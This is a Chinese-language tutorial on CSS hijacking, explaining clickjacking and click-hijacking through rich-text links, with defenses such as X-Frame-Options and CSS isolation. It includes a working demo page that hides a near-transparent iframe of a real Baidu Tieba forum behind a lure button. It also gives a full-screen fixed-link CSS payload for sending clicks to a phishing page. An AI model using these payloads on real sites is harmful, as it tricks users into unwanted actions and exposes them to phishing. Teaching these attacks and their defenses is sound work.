CSS劫持攻擊
CSS
劫持是一種並不很受重視的劫持方式,但是其也有一定的危害,且由於其並不一定需要依賴JavaScript
,這使得此種攻擊方式更容易實現。
ClickJacking點擊劫持
當訪問某網站時,利用CSS
將攻擊者實際想讓你點擊的頁面進行透明化隱藏,然后在頁面后顯示 一些東西誘導讓你點擊,點擊后則會在用戶毫不知情的情況下做了某些操作,這就是點擊劫持ClickJacking
。
iframe覆蓋
假如現在我們有個貼吧,想讓人關注,可以構造一個釣魚頁面,誘導用戶點擊,實際上攻擊者想要用戶點擊的關注頁面是個透明的,用戶如果在網頁端登錄了貼吧,就會在毫不知情的情況下關注了貼吧,這屬於危害較小的情況,若是搭配一些表單誘導用戶在頁面輸入某些敏感信息甚至可以構成財產損失的情況。
<!DOCTYPE HTML>
<html>
<meta content="text/html; charset=utf8" />
<head>
<title>ClickJacking點擊劫持</title>
<style>
html,body,iframe{
display: block;
height: 100%;
width: 100%;
margin: 0;
padding: 0;
border:none;
}
iframe{
opacity:0.2;
position:absolute;
z-index:2;
}
div{
display: flex;
justify-content: space-around;
position:absolute;
top: 335px;
left: 310px;
z-index: 1;
width: 300px;
height: 26px;
}
</style>
</head>
<body>
<!-- 例子中的按鈕位置是寫定的,在不同分辨率下並不一定合適,應該動態確定按鈕位置,但是作為一個Demo就不作過多操作了 -->
<div>那些不能說的秘密<button>查看詳情</button></div>
<iframe src="https://tieba.baidu.com/f?kw=%E6%96%97%E7%A0%B4%E8%8B%8D%E7%A9%B9%E5%8A%A8%E6%BC%AB"></iframe>
</body>
</html>
防御
X-FRAME-OPTIONS
是目前最可靠的方法。
X-FRAME-OPTIONS
是微軟提出的一個HTTP
頭,專門用來防御利用iframe
嵌套的點擊劫持攻擊。
DENY // 拒絕任何域加載
SAMEORIGIN // 允許同源域下加載
ALLOW-FROM // 可以定義允許frame加載的頁面地址
CSS劫持流量
關於誘導用戶點擊進入網站的操作,利用CSS
劫持也不失為一個好的思路,無論是論壇,還是郵件都有一個富文本編輯器,如果網站並未注意此種攻擊方式並特殊處理,便很容易被利用。
將富文本插入一個鏈接,在正常情況下應該是<a href="xxx"></a>
,假如我們為其賦予一個樣式,或者將其內部包裹一個字體的樣式,將樣式設置為display: block;z-index: 100000;position: fixed;top: 0;left: 0;width: 1000000px;height: 100000px;
,也是就是讓鏈接作為塊級元素充滿整個屏幕,則用戶無論點擊頁面中的任何地方都會跳轉到你指定的頁面,這就將流量劫持到了你的頁面,若用戶並未注意到url
的改變,還可以在跳轉的新頁面進行釣魚,對於這種攻擊方式通常可以采用CSS
隔離的方式解決,例如css module
、shadow dom
,namespace
等。
每日一題
https://github.com/WindrunnerMax/EveryDay